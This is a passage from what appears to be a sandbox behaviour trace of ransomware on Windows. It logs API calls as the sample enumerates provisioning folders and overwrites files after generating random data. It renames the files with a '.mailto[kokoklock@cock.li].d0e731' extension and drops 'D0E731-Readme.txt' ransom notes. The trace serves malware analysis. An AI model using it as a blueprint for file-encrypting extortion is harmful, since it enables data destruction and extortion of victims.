Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\" [0083.999] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\D0E731-Readme.txt" [0083.999] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0083.999] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0083.999] WriteFile (in: hFile=0x6c0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x295bfab0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x295bfab0*=0x481, lpOverlapped=0x0) returned 1 [0084.000] CloseHandle (hObject=0x6c0) returned 1 [0084.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.001] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7af8) returned 1 [0084.001] RtlExitUserThread (Status=0x1) Thread: id = 1171 os_tid = 0x12e4 [0083.479] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3487b20 [0083.479] wcscpy (in: _Dest=0x3487b20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" [0083.480] wcscat (in: _Dest=0x3487b20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\" [0083.480] wcscat (in: _Dest=0x3487b20, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*" [0083.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a0710 [0083.480] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*", lpFindFileData=0x34a0710 | out: lpFindFileData=0x34a0710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0318 [0083.978] wcscmp (_String1=".", _String2=".") returned 0 [0083.978] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x34a0710 | out: lpFindFileData=0x34a0710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.979] wcscmp (_String1="..", _String2=".") returned 1 [0083.979] wcscmp (_String1="..", _String2="..") returned 0 [0083.979] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x34a0710 | out: lpFindFileData=0x34a0710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53eab83a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53eab83a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53eab83a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0083.979] wcscmp (_String1="0__Power_Policy.provxml", _String2=".") returned 1 [0083.979] wcscmp (_String1="0__Power_Policy.provxml", _String2="..") returned 1 [0083.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3482430 [0083.979] wcscpy (in: _Dest=0x3482430, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" [0083.979] wcscat (in: _Dest=0x3482430, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\" [0083.979] wcscat (in: _Dest=0x3482430, _Source="0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" [0084.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0084.784] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x34a0710 | out: lpFindFileData=0x34a0710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53eab83a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53eab83a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53eab83a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0084.784] FindClose (in: hFindFile=0x33e0318 | out: hFindFile=0x33e0318) returned 1 [0084.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a0710) returned 1 [0084.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487b20) returned 1 [0084.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3432168) returned 1 [0084.785] RtlExitUserThread (Status=0x0) Thread: id = 1172 os_tid = 0x12ec [0083.480] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml")) returned 0x20 [0083.960] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0083.960] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x758 [0083.960] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x296bfbbc | out: lpFileSize=0x296bfbbc*=251) returned 1 [0083.960] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0xf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.960] ReadFile (in: hFile=0x758, lpBuffer=0x296bfb90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x296bfb8c, lpOverlapped=0x0 | out: lpBuffer=0x296bfb90*, lpNumberOfBytesRead=0x296bfb8c*=0x4, lpOverlapped=0x0) returned 1 [0083.961] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0083.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d870 [0083.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d730 [0083.961] NtQuerySystemTime (in: CurrentTime=0x296bfb68 | out: CurrentTime=0x296bfb68*=132121176418516567) returned 0x0 [0083.961] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xe1f5e5f3 [0083.961] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x66f7d8ed [0083.961] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xaa208a10 [0083.961] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xe58b417b [0083.961] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x16e0462e [0083.961] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x57cb0126 [0083.961] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x9b603cb6 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xc0c94faf [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x727a1461 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xaa5baed9 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x5aee45d [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x4f55e111 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x9f05fa1e [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xd2c5d41c [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xa3fcc788 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x3391bf84 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xa880a66d [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xc2cf595e [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xf0c3b39f [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x65c1a603 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x1a92802a [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x87bb3e68 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x61f48b65 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x17796817 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xdae609b [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x1458a647 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xd65bc194 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xfd41fe0e [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xb6403957 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xe652a659 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0xfa67a441 [0083.962] RtlRandom (in: Seed=0x296bfb74 | out: Seed=0x296bfb74) returned 0x2d373abf [0083.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0083.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0083.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0083.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0083.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0083.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.973] ReadFile (in: hFile=0x758, lpBuffer=0x348d230, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x296bfb68, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x296bfb68*=0xfb, lpOverlapped=0x0) returned 1 [0083.974] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296bfb30 | out: lpNewFilePointer=0x0) returned 1 [0083.974] WriteFile (in: hFile=0x758, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x296bfb64, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x296bfb64*=0xfb, lpOverlapped=0x0) returned 1 [0083.974] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db90 [0083.974] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d758 [0083.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d758) returned 1 [0083.974] WriteFile (in: hFile=0x758, lpBuffer=0x342db90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x296bfb60, lpOverlapped=0x0 | out: lpBuffer=0x342db90*, lpNumberOfBytesWritten=0x296bfb60*=0x20, lpOverlapped=0x0) returned 1 [0083.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db90) returned 1 [0083.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0083.974] WriteFile (in: hFile=0x758, lpBuffer=0x342d7d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x296bfb8c, lpOverlapped=0x0 | out: lpBuffer=0x342d7d0*, lpNumberOfBytesWritten=0x296bfb8c*=0x8, lpOverlapped=0x0) returned 1 [0083.974] WriteFile (in: hFile=0x758, lpBuffer=0x296bfba4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x296bfb8c, lpOverlapped=0x0 | out: lpBuffer=0x296bfba4*, lpNumberOfBytesWritten=0x296bfb8c*=0x4, lpOverlapped=0x0) returned 1 [0083.974] WriteFile (in: hFile=0x758, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x296bfb8c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x296bfb8c*=0x4, lpOverlapped=0x0) returned 1 [0083.974] WriteFile (in: hFile=0x758, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x296bfb8c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x296bfb8c*=0x6c, lpOverlapped=0x0) returned 1 [0083.975] WriteFile (in: hFile=0x758, lpBuffer=0x342d870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x296bfb8c, lpOverlapped=0x0 | out: lpBuffer=0x342d870*, lpNumberOfBytesWritten=0x296bfb8c*=0x20, lpOverlapped=0x0) returned 1 [0083.975] WriteFile (in: hFile=0x758, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x296bfb8c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x296bfb8c*=0x4, lpOverlapped=0x0) returned 1 [0083.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d870) returned 1 [0083.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7f8) returned 1 [0083.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7d0) returned 1 [0083.975] CloseHandle (hObject=0x758) returned 1 [0083.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x34226e8 [0083.975] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" [0083.975] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0083.975] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0083.976] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0083.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0083.976] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0083.976] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0083.976] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\" [0083.976] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\D0E731-Readme.txt" [0083.976] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0083.976] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x758 [0083.976] WriteFile (in: hFile=0x758, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x296bfb88, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x296bfb88*=0x481, lpOverlapped=0x0) returned 1 [0083.977] CloseHandle (hObject=0x758) returned 1 [0083.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0083.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7bc8) returned 1 [0083.978] RtlExitUserThread (Status=0x1) Thread: id = 1173 os_tid = 0x12f0 [0083.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3486478 [0083.481] wcscpy (in: _Dest=0x3486478, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" [0083.481] wcscat (in: _Dest=0x3486478, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\" [0083.481] wcscat (in: _Dest=0x3486478, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*" [0083.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a0978 [0083.481] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*", lpFindFileData=0x34a0978 | out: lpFindFileData=0x34a0978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e02d8 [0083.959] wcscmp (_String1=".", _String2=".") returned 0 [0083.959] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x34a0978 | out: lpFindFileData=0x34a0978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.959] wcscmp (_String1="..", _String2=".") returned 1 [0083.959] wcscmp (_String1="..", _String2="..") returned 0 [0083.959] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x34a0978 | out: lpFindFileData=0x34a0978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54075ff8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54075ff8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1 [0083.959] wcscmp (_String1="0__Power_Policy.provxml", _String2=".") returned 1 [0083.959] wcscmp (_String1="0__Power_Policy.provxml", _String2="..") returned 1 [0083.959] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3482338 [0083.959] wcscpy (in: _Dest=0x3482338, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" [0083.959] wcscat (in: _Dest=0x3482338, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\" [0083.959] wcscat (in: _Dest=0x3482338, _Source="0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" [0084.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 